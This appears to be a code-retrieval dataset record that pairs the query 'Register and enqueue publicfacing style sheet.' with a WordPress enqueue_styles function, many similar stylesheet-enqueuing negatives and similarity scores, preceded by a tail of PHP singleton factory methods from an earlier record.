"public static function instance() {\n\t\tif ( is_null( self::$_instance ) ) {\n\t\t\tself::$_instance = new self();\n\t\t}\n\n\t\treturn self::$_instance;\n\t}",
"public static function instance() {\n\t\tif ( is_null( self::$_instance ) ) {\n\t\t\tself::$_instance = new self();\n\t\t}\n\n\t\treturn self::$_instance;\n\t}",
"public static function init()\n {\n return new self();\n }",
"public static function instance() {\n\n\t\tif (!self::$instance) {\n\t\t\tself::$instance = new self();\n\t\t}\n\n\t\treturn self::$instance;\n\t}",
"public static function instance() {\r\n if ( is_null( self::$_instance ) ) {\r\n self::$_instance = new self();\r\n }\r\n return self::$_instance;\r\n }",
"public static function instance() {\r\n if ( is_null( self::$_instance ) ) {\r\n self::$_instance = new self();\r\n }\r\n return self::$_instance;\r\n }",
"public static function get() {\n\t\tif ( self::$instance == null ) {\n\t\t\tself::$instance = new self();\n\t\t}\n\t\treturn self::$instance;\n\t}",
"public static function instance() {\n\t\tif ( is_null( self::$_instance ) )\n\t\t\tself::$_instance = new self();\n\t\treturn self::$_instance;\n\t}",
"public static function instance()\n {\n if (is_null(self::$_instance)) {\n self::$_instance = new self();\n }\n\n return self::$_instance;\n }",
"public static function create() {\n return new self();\n }",
"public static function get_instance()\n {\n if (true === empty(self::$instance)) {\n $instance = new self();\n }\n return $instance;\n }",
"public static function instance() {\n if ( empty( self::$instance ) ) {\n self::$instance = new self;\n }\n\n return self::$instance;\n }",
"public static function instance(): self\n {\n return self::$instance ??= new self();\n }",
"public static function instance() {\n\t\tif ( is_null( self::$instance ) ) {\n\t\t\tself::$instance = new self();\n\t\t}\n\n\t\treturn self::$instance;\n\t}",
"public static function instance() {\n if(is_null( self::$_instance)){\n self::$_instance = new self();\n }\n return self::$_instance;\n }",
"public static function instance() {\r\n\t\tif ( is_null( self::$_instance ) ) {\r\n\t\t\tself::$_instance = new self();\r\n\t\t}\r\n\t\treturn self::$_instance;\r\n\t}",
"public static function instance() {\r\n\t\tif ( is_null( self::$_instance ) ) {\r\n\t\t\tself::$_instance = new self();\r\n\t\t}\r\n\t\treturn self::$_instance;\r\n\t}",
"public static function instance() {\n\t\tif ( empty( self::$instance ) ) {\n\t\t\tself::$instance = new self();\n\t\t}\n\n\t\treturn self::$instance;\n\t}",
"public static function instance() {\n\t\tif ( ! ( self::$instance instanceof self ) ) {\n\t\t\tself::$instance = new self();\n\t\t}\n\n\t\treturn self::$instance;\n\t}",
"public static function instance() {\n\t\tif ( is_null( self::$_instance ) ) {\n\t\t\tself::$_instance = new self();\n\t\t}\n\t\treturn self::$_instance;\n\t}",
"public static function instance() {\n\t\tif ( is_null( self::$_instance ) ) {\n\t\t\tself::$_instance = new self();\n\t\t}\n\t\treturn self::$_instance;\n\t}",
"public static function instance() {\n\t\tif ( is_null( self::$_instance ) ) {\n\t\t\tself::$_instance = new self();\n\t\t}\n\t\treturn self::$_instance;\n\t}",
"public static function instance() {\n\t\tif ( is_null( self::$_instance ) ) {\n\t\t\tself::$_instance = new self();\n\t\t}\n\t\treturn self::$_instance;\n\t}",
"public static function instance() {\n\t\tif ( is_null( self::$_instance ) ) {\n\t\t\tself::$_instance = new self();\n\t\t}\n\t\treturn self::$_instance;\n\t}",
"public static function instance() {\n\t\tif ( is_null( self::$_instance ) ) {\n\t\t\tself::$_instance = new self();\n\t\t}\n\t\treturn self::$_instance;\n\t}",
"public static function instance() {\n\t\tif ( is_null( self::$_instance ) ) {\n\t\t\tself::$_instance = new self();\n\t\t}\n\t\treturn self::$_instance;\n\t}",
"public static function instance() {\n\t\tif ( is_null( self::$_instance ) ) {\n\t\t\tself::$_instance = new self();\n\t\t}\n\t\treturn self::$_instance;\n\t}",
"public static function instance() {\n\t\tif ( is_null( self::$_instance ) ) {\n\t\t\tself::$_instance = new self();\n\t\t}\n\t\treturn self::$_instance;\n\t}",
"public static function instance() {\n\t\tif ( is_null( self::$_instance ) ) {\n\t\t\tself::$_instance = new self();\n\t\t}\n\t\treturn self::$_instance;\n\t}",
"public static function instance() {\n\t\tif ( is_null( self::$_instance ) ) {\n\t\t\tself::$_instance = new self();\n\t\t}\n\t\treturn self::$_instance;\n\t}",
"public static function getInstance()\n {\n return GeneralUtility::makeInstance(self::class);\n }",
"public static function getInstance()\n {\n return GeneralUtility::makeInstance(self::class);\n }",
"public static function create() {\n\t\treturn new self();\n\t}",
"public static function instance() {\n if ( is_null( self::$_instance ) ) {\n self::$_instance = new self();\n }\n return self::$_instance;\n }",
"public static function model()\n {\n return new self;\n }",
"public static function instance()\n {\n return new static;\n }",
"public static function instance()\n {\n return new static;\n }",
"public static function instance() {\n\t\tif ( !isset( self::$instance ) ) {\n\t\t\t$class_name = __CLASS__;\n\t\t\tself::$instance = new $class_name;\n\t\t}\n\t\treturn self::$instance;\n\t}",
"public static function newInstance() {\n if (!self::$instance instanceof self) {\n self::$instance = new self;\n }\n return self::$instance;\n }",
"public static function instance()\n {\n global $container;\n return $container->getByType(self::class);\n }",
"public static function instance() {\n\t\tif ( ! self::$instance ) {\n\t\t\tself::$instance = new self;\n\t\t}\n\n\t\treturn self::$instance;\n\t}",
"public static function instance() {\n\t\tif ( ! self::$instance ) {\n\t\t\tself::$instance = new self;\n\t\t}\n\n\t\treturn self::$instance;\n\t}",
"public static function create()\n {\n return new self();\n }",
"public static function create()\n {\n return new self();\n }",
"public static function create()\n {\n return new self();\n }",
"public static function create()\n {\n return new self();\n }",
"public static function create()\n {\n return new self();\n }",
"public static function create()\n {\n return new self();\n }",
"public static function create()\n {\n return new self();\n }",
"public static function create()\n {\n return new self();\n }",
"public static function create()\n {\n return new self();\n }",
"public static function create()\n {\n return new self();\n }",
"public static function create()\n {\n return new self();\n }",
"public static function create()\n {\n return new self();\n }",
"public static function create()\n {\n return new self();\n }"
]
| [
"0.8449219",
"0.83387274",
"0.823691",
"0.818081",
"0.8095651",
"0.80296534",
"0.80296534",
"0.79996186",
"0.7938147",
"0.78881174",
"0.7887515",
"0.785318",
"0.7852595",
"0.78346044",
"0.7832226",
"0.78016746",
"0.77875334",
"0.77811646",
"0.77811646",
"0.77782714",
"0.77782714",
"0.77782714",
"0.77782714",
"0.77782714",
"0.77782714",
"0.7771044",
"0.7769262",
"0.7741817",
"0.7738482",
"0.77374315",
"0.7730053",
"0.77094084",
"0.7703255",
"0.7695353",
"0.7678353",
"0.7678353",
"0.7674907",
"0.7672869",
"0.766664",
"0.7662206",
"0.765674",
"0.7653458",
"0.763893",
"0.7637536",
"0.7637536",
"0.7634739",
"0.7634739",
"0.7634739",
"0.7630428",
"0.76211137",
"0.76114994",
"0.76114994",
"0.7611238",
"0.7611006",
"0.7609509",
"0.760795",
"0.7602293",
"0.75996023",
"0.7592936",
"0.75907725",
"0.7589643",
"0.7587928",
"0.7587928",
"0.75861335",
"0.7586038",
"0.75790507",
"0.75790507",
"0.75790507",
"0.75790507",
"0.75790507",
"0.75790507",
"0.75790507",
"0.75790507",
"0.75790507",
"0.75790507",
"0.75790507",
"0.7576525",
"0.7576525",
"0.7572609",
"0.7572538",
"0.7569265",
"0.7567449",
"0.7567449",
"0.7564878",
"0.75635827",
"0.75593346",
"0.75513744",
"0.75513744",
"0.75503564",
"0.75503564",
"0.75503564",
"0.75503564",
"0.75503564",
"0.75503564",
"0.75503564",
"0.75503564",
"0.75503564",
"0.75503564",
"0.75503564",
"0.75503564",
"0.75503564"
]
| 0.0 | -1 |
Register and enqueue publicfacing style sheet. | public function enqueue_styles() {
wp_enqueue_style( $this->plugin_slug . '-plugin-styles', plugins_url( 'css/mlightbox.css', __FILE__ ), array(), self::VERSION );
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function loadPublicSideStyles()\n\t{\n\t\twp_enqueue_style('cit-boilerplate-public-style', CIT_PLUGIN_PUBLIC_URL.'css/cit-boilerplate-public.css', '', CIT_PLUGIN_VERSION);\n\t}",
"public function styles(){\n //Enqueue styles\n /**\n * wp_enqueue_style('sample-style',$this->directory_uri . '/sample.css');\n * ...\n * ....\n */\n }",
"private function enqueue_style_css()\n\t{\n\t\twp_enqueue_style('style', get_stylesheet_uri(), array('main'));\n\t}",
"public function enqueue_styles() {\n\n\t\t/**\n\t\t * This function is provided for demonstration purposes only.\n\t\t *\n\t\t * An instance of this class should be passed to the run() function\n\t\t * defined in Nimiq_Miner_Loader as all of the hooks are defined\n\t\t * in that particular class.\n\t\t *\n\t\t * The Nimiq_Miner_Loader will then create the relationship\n\t\t * between the defined hooks and the functions defined in this\n\t\t * class.\n\t\t */\n\n\t\twp_enqueue_style( $this->plugin_name, plugin_dir_url( __FILE__ ) . 'css/nimiq-miner-public.css', array(), $this->version, 'all' );\n\n\t}",
"public function enqueue_stylesheet() {\n\t\twp_register_style( self::HANDLE, $this->asset_resolver->resolve( 'css/theme.css' ), [], false );\n\t\twp_enqueue_style( self::HANDLE );\n\t}",
"public function addStyling()\n {\n \\wp_enqueue_style(self::REACT_WP_THEME, \\get_template_directory_uri() . '/frontend/dist/style.css', [], '0.1');\n }",
"function reverie_css_style()\n{\t\n\t// normalize stylesheet\n\t// wp_register_style( 'reverie-normalize-stylesheet', get_template_directory_uri() . '/css/normalize.css', array(), '' );\n\t\n\t// foundation stylesheet\n\twp_register_style( 'reverie-foundation-stylesheet', get_template_directory_uri() . '/css/foundation.css', array(), '' );\t\n\t\n\t// Register the main style under root directory\n\twp_register_style( 'reverie-stylesheet', get_stylesheet_directory_uri() . '/style.css', array(), '', 'all' );\n\t\n\twp_enqueue_style( 'reverie-normalize-stylesheet' );\n\twp_enqueue_style( 'reverie-foundation-stylesheet' );\n\twp_enqueue_style( 'reverie-stylesheet' );\n\t\n}",
"public function enqueue_styles() {\n\t\t// wp_enqueue_style( $this->plugin_slug . '-plugin-styles', plugins_url( 'css/public.css', __FILE__ ), array(), self::VERSION );\n\t}",
"public function registerStyles()\n {\n wp_register_style('swiper-css', THEME_DIR_URI .'/assets/css/swiper.min.css', [], false, 'all');\n wp_register_style('dist-css', THEME_DIR_URI .'/assets/css/dist.css', [], false, 'all');\n wp_register_style('regional-css', THEME_DIR_URI .'/regional.css', [], false, 'all');\n wp_register_style('regional-style', THEME_DIR_URI .'/style.css', [], false, 'all');\n\n // Default app style file\n //wp_enqueue_style('style-css');\n\n // App styles\n wp_enqueue_style('swiper-css');\n wp_enqueue_style('dist-css');\n wp_enqueue_style('regional-css');\n wp_enqueue_style('regional-style');\n }",
"function ct_include_style () {\n\tif ( !is_admin() ) {\n\t\twp_enqueue_style( 'christatimmer', get_stylesheet_uri() );\n\t}\n}",
"public function public_enqueue_styles() {\n wp_enqueue_style( 'jquery_focuspoint_css', plugin_dir_url( __FILE__ ) . 'css/focuspoint.css');\n }",
"public function enqueue_styles() {\n\t\twp_enqueue_style( $this->plugin_name, plugin_dir_url( __FILE__ ) . 'css/sanoa-links-linter-public.css', array(), $this->version, 'all' );\n\t}",
"public function enqueue_style() {\n\t\twp_enqueue_style( 'aztec-style', get_stylesheet_directory_uri() . '/assets/css/styles.css' );\n\t}",
"public function enqueue_public_scripts_and_styles(){\n\t\twp_enqueue_style('wp_location_public_styles', plugin_dir_url(__FILE__). '/css/wp_location_public_styles.css');\n\t\t\n\t}",
"public function enqueueAssets()\n {\n wp_enqueue_style( WPADW_DOMAIN . '-admin-style', WPADW_URL . '/assets/style.css' );\n }",
"public function enqueue_styles() {\n\n\t\twp_enqueue_style( $this->plugin_name, plugin_dir_url( __FILE__ ) . 'css/deeppress-public.css', array(), $this->version, 'all' );\n\n\t}",
"public function enqueue_styles() {\n\n\t\tif ($this->css) {\n\t\t\tforeach ($this->css as $css) {\n\t\t\t\t$fileTitle = basename($css['link']);\n\t\t\t\t$fileTitle = str_replace('.css', '', $fileTitle);\n\t\t\t\t$fileTitle = preg_replace(\n\t\t\t\t\t'/[^0-9a-zA-Z]/',\n\t\t\t\t\t\"-\",\n\t\t\t\t\tstr_replace('@', '', $css['package']) . '-' . $fileTitle\n\t\t\t\t);\n\t\t\t\twp_enqueue_style($fileTitle, $css['link'], array(), $css['version'], 'all');\n\t\t\t}\n\t\t}\n\n\t}",
"function styles() {\n\n\twp_enqueue_style(\n\t\t'styles',\n\t\tERI_SCAFFOLD_TEMPLATE_URL . '/dist/css/style.css',\n\t\t[],\n\t\tERI_SCAFFOLD_VERSION\n\t);\n\n\tif ( is_page_template( 'templates/page-styleguide.php' ) ) {\n\t\twp_enqueue_style(\n\t\t\t'styleguide',\n\t\t\tERI_SCAFFOLD_TEMPLATE_URL . '/dist/css/styleguide-style.css',\n\t\t\t[],\n\t\t\tERI_SCAFFOLD_VERSION\n\t\t);\n\t}\n}",
"function add_style_sheets()\n{\n\tif( !is_admin() )\n\t{\n\t\twp_enqueue_style( 'reset', get_template_directory_uri().'/style.css', 'screen' );\n\t\twp_enqueue_style( 'font', '//fonts.googleapis.com/css?family=Raleway:400,100,200,300,500,600,700,800|Lato:300,400,700,900', 'screen' );\n\t\twp_enqueue_style( 'fontawesome', '//maxcdn.bootstrapcdn.com/font-awesome/4.4.0/css/font-awesome.min.css', 'screen' );\n\t\twp_enqueue_style( 'main', get_template_directory_uri().'/assets/css/style.less', 'screen' );\n\t}\n}",
"public function enqueue_styles() {\n wp_enqueue_style(\n $this->plugin_name,\n plugin_dir_url(__FILE__) . 'css/update-monitor-public.css',\n array(),\n $this->version,\n 'all'\n );\n }",
"function enqueues() {\n\t\twp_register_style( 'ks-thematic-actions', plugin_dir_url( __FILE__ ) . 'style.css' );\n\t wp_enqueue_style( 'ks-thematic-actions' );\n\t}",
"public function enqueueLicenseStyles()\n {\n wp_enqueue_style($this->pluginSlug, plugins_url('/assets/css/admin.css', __FILE__), array());\n }",
"private function enqueueStyle() {\n wp_enqueue_style(\n 'shokka-forms',\n plugins_url( 'css/dist/style.css', 'shokka-forms/shokka-forms.php' ),\n array(),\n filemtime(\n sprintf(\n '%s%s%s',\n trailingslashit( WP_PLUGIN_DIR ),\n plugin_dir_path( 'shokka-forms/shokka-forms.php' ),\n wp_normalize_path( 'css/dist/style.css' )\n )\n )\n );\n }",
"function streamline_enqueue() {\n // Theme Stylesheet (currently points to stylesheet in the sass folder)\n wp_enqueue_style( 'streamline-style' , get_stylesheet_uri('stylesheets/style.css') );\n}",
"public function styles(){\n\n\t\t//wp_enqueue_style('component-header_fixed-style', $this->directory_uri . '/assets/dist/css/headerFixed.css');\n\t}",
"function agile_style() {\n\twp_enqueue_style( 'agile-style', get_stylesheet_uri() );\n}",
"public function enqueue_styles() {\n\t\twp_enqueue_style( $this->plugin_name, plugin_dir_url( __FILE__ ) . 'css/pewin-payments-public.css', array(), $this->version, 'all' );\n\t}",
"public function enqueue_styles() {\n\n\t\twp_register_style( 'wpaddons_io_sitestyle', plugins_url( 'wpaddons-io-sdk/css/wpaddons-io.css', __FILE__ ) );\n\n\t\twp_enqueue_style( 'wpaddons_io_sitestyle' );\n\n\t}",
"public function registerStyles() {\n $this->registerStylesCommon();\n \n if(is_admin()) {\n $this->registerStylesAdmin();\n } else {\n $this->registerStylesFrontend();\n }\n }",
"public function enqueueStyles() {\n\t\t\twp_enqueue_style('app', self::asset(\"css/app.css\"), NULL, '1.0.0', 'all');\n\t\t}",
"function chappell_construction_register_stylesheets() {\n wp_register_style('home', CHILD_CSS_URL . '/home.css', array(), 1.0);\n wp_register_style('residence', CHILD_CSS_URL . '/residence.css', array(), 1.0);\n}",
"public function enqueue_styles() {\n\t\t/**\n\t\t * Filters the path to the admin CSS styles.\n\t\t *\n\t\t * @since 1.0.0\n\t\t *\n\t\t * @param string $path The path to the CSS file.\n\t\t */\n\t\t$style_path = apply_filters( 'stellarwp/telemetry/' . Config::get_hook_prefix() . 'style_path', $this->get_asset_path() . 'resources/css/styles.css' );\n\n\t\twp_enqueue_style(\n\t\t\tself::SCRIPT_HANDLE,\n\t\t\t$style_path,\n\t\t\t[],\n\t\t\tself::SCRIPT_VERSION\n\t\t);\n\t}",
"public function registerStylesFrontend() {\n $v = Wpjb_Project::VERSION;\n $p = plugins_url().'/wpjobboard/public/css/';\n $x = plugins_url().'/wpjobboard/application/vendor/';\n \n wp_register_style('wpjb-css', $p.\"frontend.css\", array('wpjb-glyphs'), $v );\n }",
"public function enqueue_styles() {\n\n\t\twp_register_style( $this->plugin_name, plugin_dir_url( __FILE__ ) . 'css/all.css', array(), $this->version, 'all' );\n\t}",
"public function enqueue_custom_style() {\n\t\t\t$custom_css = $this->_build_custom_css();\n\n\t\t\tif( $custom_css ) {\n\t\t\t\t$handle = wp_script_is( 'yith-wcwl-user-main' ) ? 'yith-wcwl-user-main' : 'yith-wcwl-main';\n\n\t\t\t\twp_add_inline_style( $handle, $custom_css );\n\t\t\t}\n\t\t}",
"public function enqueue_styles() {\n\n\t\t\t/**\n\t\t\t * This function is provided for demonstration purposes only.\n\t\t\t *\n\t\t\t * An instance of this class should be passed to the run() function\n\t\t\t * defined in Advanced_Reviews_Pro_Loader as all of the hooks are defined\n\t\t\t * in that particular class.\n\t\t\t *\n\t\t\t * The Advanced_Reviews_Pro_Loader will then create the relationship\n\t\t\t * between the defined hooks and the functions defined in this\n\t\t\t * class.\n\t\t\t */\n\n\t\t\twp_enqueue_style( $this->plugin_name, plugin_dir_url( __FILE__ ) . 'css/advanced-reviews-pro-public.css', array(), $this->version, 'all' );\n\t\t}",
"public function enqueue_styles() {\n\n\t\t/**\n\t\t * This function is provided for demonstration purposes only.\n\t\t *\n\t\t * An instance of this class should be passed to the run() function\n\t\t * defined in Fastnetmarketing_Admin_Loader as all of the hooks are defined\n\t\t * in that particular class.\n\t\t *\n\t\t * The Fastnetmarketing_Admin_Loader will then create the relationship\n\t\t * between the defined hooks and the functions defined in this\n\t\t * class.\n\t\t */\n\n\t\twp_enqueue_style( $this->plugin_name, plugin_dir_url( __FILE__ ) . 'css/fastnetmarketing-admin-admin.css', array(), $this->version, 'all' );\n\n\t}",
"function wp_enqueue_style() {\n\t}",
"public function enqueue_styles() {\n\n\t\t/**\n\t\t * This function is provided for demonstration purposes only.\n\t\t *\n\t\t * An instance of this class should be passed to the run() function\n\t\t * defined in Plugin_Name_Loader as all of the hooks are defined\n\t\t * in that particular class.\n\t\t *\n\t\t * The Plugin_Name_Loader will then create the relationship\n\t\t * between the defined hooks and the functions defined in this\n\t\t * class.\n\t\t */\n\n\t\twp_enqueue_style( $this->plugin_name, plugin_dir_url( __FILE__ ) . 'css/drinkers-edition-admin.css', array(), $this->version, 'all' );\n\n\t}",
"function tac_css_enqueuer() {\n\twp_register_style( 'tac_main', get_stylesheet_directory_uri() . '/style.css' );\n\twp_enqueue_style( 'tac_main' );\n}",
"public function enqueue_styles() {\n\n\t\t/**\n\t\t * This function is provided for demonstration purposes only.\n\t\t *\n\t\t * An instance of this class should be passed to the run() function\n\t\t * defined in SpaceAPI_WP_Loader as all of the hooks are defined\n\t\t * in that particular class.\n\t\t *\n\t\t * The SpaceAPI_WP_Loader will then create the relationship\n\t\t * between the defined hooks and the functions defined in this\n\t\t * class.\n\t\t */\n\n\t\twp_enqueue_style( $this->plugin_name, plugin_dir_url( __FILE__ ) . 'css/spaceapi-wp-admin.css', array(), $this->version, 'all' );\n\n\t}",
"function add_css() \n {\n if( $this->options['use-css-file'] ) {\n wp_register_style( 'bbquotations-style' , $this->plugin_url . 'bbquotations-style.css');\n wp_enqueue_style( 'bbquotations-style' );\n } \n }",
"function myplugin_enqueue_style_public() {\n\n\t/*\n\t\twp_enqueue_style(\n\t\t\tstring $handle,\n\t\t\tstring $src = '',\n\t\t\tarray $deps = array(),\n\t\t\tstring|bool|null $ver = false,\n\t\t\tstring $media = 'all'\n\t\t)\n\t*/\n\n\t$src = plugin_dir_url( __FILE__ ) .'public/css/example-public.css';\n\n\twp_enqueue_style( 'myplugin-public', $src, array(), null, 'all' );\n\n}",
"function horse_manager_stylesheet() {\n wp_register_style( 'horse-style', plugins_url('/inc/horse_styles.css', __FILE__) );\n wp_enqueue_style( 'horse-style' );\n}",
"function zweidrei_eins_register_styles() {\n\n\t$theme_version = wp_get_theme()->get( 'Version' ); \n\twp_enqueue_style( 'style', get_stylesheet_uri(), array(), $theme_version );\n\n\t/** \t\n\t * Add custom css\n\t * Bulma: Free, open source, and modern CSS framework based on Flexbox\n\t * https://bulma.io/ \n\t * Version: 0.9.0\n\t * Child: custom.css\n\t */\n\twp_enqueue_style( 'style1', get_template_directory_uri() . '/assets/css/bulma.min.css', array(), $theme_version );\n\twp_enqueue_style( 'style2', get_template_directory_uri() . '/assets/css/custom.css', array(), $theme_version );\n\n\t\n\n}",
"public function enqueue_styles() {\n\n\t\t/**\n\t\t * This function is provided for demonstration purposes only.\n\t\t *\n\t\t * An instance of this class should be passed to the run() function\n\t\t * defined in Points_Of_Sale_Admin_Loader as all of the hooks are defined\n\t\t * in that particular class.\n\t\t *\n\t\t * The Points_Of_Sale_Admin_Loader will then create the relationship\n\t\t * between the defined hooks and the functions defined in this\n\t\t * class.\n\t\t */\n\n\t\twp_enqueue_style($this->plugin_name, plugin_dir_url(__FILE__) . 'css/points-of-sale-admin.css', array(), $this->version, 'all');\n\n\t}",
"function wp_register_styles() {\n // Developer Tier Admin Stylesheet\n wp_register_style( \"{$this->namespace}-admin\", SLIDEDECK2_DEVELOPER_URLPATH . \"/css/admin.css\", array(), '2.1', 'screen' );\n // CodeMirror Library\n wp_register_style( \"codemirror\", SLIDEDECK2_DEVELOPER_URLPATH . \"/css/codemirror.css\", array(), '2.25', 'screen' );\n }",
"public function enqueue_styles() {\r\n\r\n\t\t}",
"function jehaann_style(){\n wp_register_style('style', get_stylesheet_uri(),'','1.0','all');\n\n //cargando hojas de estilos\n\n wp_enqueue_style('style');\n}",
"public function enqueue() {\r\n\t\twp_enqueue_style( 'wfct-ei', WFC_EI_CSS_URL . 'environment-indicator.css', array(), WFC_EI_VERSION );\r\n\t}",
"public function enqueue_styles() {\n wp_enqueue_style(\n VSPI_BASENAME,\n plugins_url('includes/vspi-admin-styles.css', __FILE__),\n array(),\n VSPI_VERSION,\n 'all'\n );\n }",
"function wptheme_register_styles() {\n\t\t$theme = wp_get_theme();\n\t\t$version = $theme['Version'];\n\t\t$stylesheets = '';\n\n\t\t// Register stylesheets\n\t $stylesheets .= wp_register_style('wptheme', get_stylesheet_directory_uri().'/style.css', array(), $version, 'screen, projection');\n\n\t\t// enqueue registered styles\n\t\twp_enqueue_style('wptheme');\n\n\t}",
"function styles() {\n\twp_enqueue_style(\n\t\t'deadpoo-main',\n\t\tDIE_URL . '/assets/css/dist/main.css',\n\t\t[],\n\t\tfalse\n\t);\n}",
"public function admin_enqueue()\n\t{\n\t\t// styles.\n\n\t}",
"function wiki_api_import_css() {\n\twp_enqueue_style('style-name', get_stylesheet_uri());\n\twp_enqueue_script('script-name', get_template_directory_uri() . '/js/example.js', array(), '1.0.0', true);\n}",
"public function enqueue_styles() {\n\t\t/**\n\t\t * This function is provided for demonstration purposes only.\n\t\t *\n\t\t * An instance of this class should be passed to the run() function\n\t\t * defined in Nerd_Wp_Loader as all of the hooks are defined\n\t\t * in that particular class.\n\t\t *\n\t\t * The Nerd_Wp_Loader will then create the relationship\n\t\t * between the defined hooks and the functions defined in this\n\t\t * class.\n\t\t */\n\t\twp_enqueue_style( $this->plugin_name, plugin_dir_url( __FILE__ ) . 'css/contact-helpdesk-admin.css', array(),\n\t\t\t$this->version, 'all' );\n\t}",
"function enqueue_styles() {\n\t\twp_register_style( 'github-embed', plugins_url( basename( dirname( __FILE__ ) ) . '/css/github-embed.css' ) );\n\t\twp_enqueue_style( 'github-embed' );\n\t}",
"function css_files() {\n\t\twp_enqueue_style('escalate_network-admin-global', $this->plugin_url .'/css/styles-admin-global.css');\n\t}",
"public function register_css () {\n wp_register_style(Plugin::PLUGIN_NAME, plugins_url('assets/css/styles.css', __FILE__), array(), filemtime(Plugin::getPluginPath() . '/assets/css/styles.css'));\n }",
"function register_style() {\n}",
"public function enqueue_styles() {\n\t\twp_enqueue_style( 'slick-css', plugin_dir_url( dirname( __FILE__, 2 ) ) . '/assets/css/slick-theme.css', array(), '1.8.1' );\n\t\twp_enqueue_style( 'style-css', plugin_dir_url( dirname( __FILE__, 2 ) ) . '/assets/css/style.css', array(), '1.0.0' );\n\t}",
"public function enqueue_styles()\n {\n wp_enqueue_style($this->andmoraho_vendors, plugin_dir_url(__FILE__) . 'css/andmoraho-vendors-admin.css', array(), $this->version, 'all');\n }",
"public function registerStylesAdmin() {\n $v = Wpjb_Project::VERSION;\n $p = plugins_url().'/wpjobboard/public/css/';\n $x = plugins_url().'/wpjobboard/application/vendor/';\n \n wp_register_style(\"wpjb-admin-css\", $p.\"admin.css\", array(), $v);\n wp_register_style(\"wpjb-colorpicker-css\", $p.\"colorpicker.css\", array(), $v);\n wp_register_style(\"wpjb-vendor-ve-css\", $x.\"visual-editor/visual-editor.css\", array(), $v);\n wp_register_style(\"wpjb-multi-level-accordion-menu\", $p.\"multi-level-accordion-menu.css\", array(), $v);\n }",
"function front_end_styles()\n{\n\twp_register_style( 'front-end-normalize', get_template_directory_uri() . '/css/reset.css', array(), null, 'all' );\n wp_register_style( 'front-end-styles', get_template_directory_uri() . '/css/styles.css', array(), null, 'all' );\n wp_register_style( 'front-end-plugins', get_template_directory_uri() . '/css/plugins.css', array(), null, 'all' );\n wp_register_style( 'front-end-media-queries', get_template_directory_uri() . '/css/media-queries.css', array(), null, 'all' );\n \n \n wp_enqueue_style( 'front-end-normalize' );\n wp_enqueue_style( 'front-end-styles' );\n wp_enqueue_style( 'front-end-plugins' );\n wp_enqueue_style( 'front-end-media-queries' );\n}",
"function styles() {\n\n\twp_enqueue_style(\n\t\t'styles',\n\t\tPLAYGROUND_THEME_TEMPLATE_URL . \"/dist/css/style.min.css\",\n\t\tfalse\n\t);\n}",
"public function enqueue_styles_and_stuffs() {\n\t\t // libraries\n\t\t wp_enqueue_style( 'woocommerce_prettyPhoto_css' );\n\t\t\twp_enqueue_style( 'jquery-selectBox' );\n\t\t\twp_enqueue_style( 'yith-wcwl-font-awesome' );\n\n\t\t\t// main plugin style\n\t\t\tif ( ! wp_style_is( 'yith-wcwl-user-main', 'registered' ) ) {\n\t\t\t\twp_enqueue_style( 'yith-wcwl-main' );\n\t\t\t}\n\t\t\telse {\n\t\t\t\twp_enqueue_style( 'yith-wcwl-user-main' );\n\t\t\t}\n\n\t\t\t// theme specific style\n\t\t\tif( wp_style_is( 'yith-wcwl-theme', 'registered' ) ){\n\t\t\t wp_enqueue_style( 'yith-wcwl-theme' );;\n }\n\n\t\t\t// custom style\n\t\t\t$this->enqueue_custom_style();\n\t\t}",
"function register_css() {\n $myStyleUrl = plugins_url(__WP_PLUGIN__.'.css', __FILE__); \n wp_register_style(__WP_PLUGIN__, $myStyleUrl);\n wp_enqueue_style(__WP_PLUGIN__);\n }",
"public function kiwip_stylesheet_add_file(){\n\t\t//register\n\t\tforeach($this->stylesheet as $key){\n\t\t\twp_register_style('kiwip_shortcode-css-'.$key['stylesheetId'], $key['stylesheetURL']);\n\t\t}\n\t\t\n\t\t//load\n\t\tforeach($this->stylesheet as $eky){\n\t\t\twp_enqueue_style('kiwip_shortcode-css-'.$key['stylesheetId']);\n\t\t}\t\t\n\n\t\t// $this->debug($this->stylesheet); die();\n\t}",
"public function register_scripts()\n {\n wp_register_style(\n 'fau-oembed-style',\n plugins_url('assets/css/fau-oembed.css', plugin()->getBasename()),\n [],\n plugin()->getVersion()\n ); \n }",
"function admin_stylesheet() {\n\n\t\twp_register_style( 'admin-styles', get_template_directory_uri() . '/css/admin-styles.css', false, '1.0.0' );\n\n\t\twp_enqueue_style( 'admin-styles' );\n\n\t}",
"function scripts_styles() {\n\n\t\t// No need to process if in admin.\n\t\tif ( is_admin() ) {\n\t\t\treturn;\n\t\t}\n\n\t\t$theme_url = get_template_directory_uri();\n\t\t$main_css_url = $theme_url . '/style.css';\n\t\t$main_css_path = get_template_directory() . '/style.css';\n\t\t$main_css_ver = file_exists( $main_css_path ) ? filemtime( $main_css_path ) : '';\n\n\t\twp_enqueue_style( 'superiocity-style', $main_css_url, null, $main_css_ver );\n\t\twp_deregister_script( 'wp-embed' );\n\t}",
"function add_qoorate_stylesheet(){\n\t\t// TODO: make call to get styles from QOORATE\n\t\t// MAYBE TODO: cacheing ... place in DB options?\n\t\t\n\t\t//$styleUrl = plugins_url('/css/guthrie.css', __FILE__);\n\t\t//$styleFile = WP_PLUGIN_DIR . '/guthrie/css/guthrie.css';\n\t\t//if ( file_exists($styleFile) ) {\n\t\t//\t\t//echo($styleUrl.\"<br />\");\n\t\t//\t\twp_register_style('guthrie', $styleUrl);\n\t\t//\t\twp_enqueue_style('guthrie');\n\t\t//}\n\t\t// unregister our really old jquery bundled with WP\n\t\t// Maybe we can keep it? should it be an option?\n\t\twp_deregister_script( 'jquery' );\n\t\twp_register_script( 'jquery', 'http://ajax.googleapis.com/ajax/libs/jquery/1.6.4/jquery.min.js' );\n\t\twp_enqueue_script( 'jquery' );\n\t}",
"function styles() {\n\t/**\n\t * Flag whether to enable loading uncompressed/debugging assets. Default false.\n\t *\n\t * @param bool project_style_debug\n\t */\n\t$debug = apply_filters( 'project_style_debug', false );\n\t$min = ( $debug || defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ) ? '' : '.min';\n\n\twp_enqueue_style(\n\t\t'project',\n\t\tProject_URL . \"/assets/css/project-theme{$min}.css\",\n\t\tarray(),\n\t\tProject_VERSION\n\t);\n}",
